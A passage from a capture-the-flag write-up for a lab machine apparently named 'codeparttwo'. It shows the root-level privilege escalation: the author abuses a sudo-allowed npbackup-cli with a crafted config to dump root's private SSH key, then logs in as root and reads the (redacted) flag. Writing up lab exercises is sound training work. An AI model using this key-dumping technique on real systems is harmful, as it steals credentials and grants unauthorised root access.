/root/.local/share/nano/search_history
/root/.mysql_history
/root/.profile
/root/.python_history
/root/.sqlite_history
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.vim
/root/.vim/.netrwhist
/root/root.txt
/root/scripts
/root/scripts/backup.tar.gz
/root/scripts/cleanup.sh
/root/scripts/cleanup_conf.sh
/root/scripts/cleanup_db.sh
/root/scripts/cleanup_marco.sh
/root/scripts/npbackup.conf
/root/scripts/users.db

2025-12-30 21:17:58,843 :: INFO :: Runner took 2.411624 seconds for ls
2025-12-30 21:17:58,843 :: INFO :: Operation finished
2025-12-30 21:17:58,852 :: INFO :: ExecTime = 0:00:02.463250, finished, state is: success.

There was an SSH key in root folder. I downloaded it.

marco@codeparttwo:/tmp/tmp.uR9LCRoFEY$ sudo /usr/local/bin/npbackup-cli -c bu.conf --dump /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
-----END OPENSSH PRIVATE KEY-----

Then I used it to reconnect as root and read the root flag.

$ vim root_id_rsa

$ chmod 600 root_id_rsa

$ ssh -i root_id_rsa root@target
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue 30 Dec 2025 07:14:01 PM UTC

  System load:           0.0
  Usage of /:            58.0% of 5.08GB
  Memory usage:          27%
  Swap usage:            0%
  Processes:             233
  Users logged in:       1
  IPv4 address for eth0: 10.129.49.212
  IPv6 address for eth0: dead:beef::250:56ff:feb0:e86a


...

Last login: Tue Dec 30 19:14:02 2025 from 10.10.14.28

root@codeparttwo:~# cat root.txt
REDACTED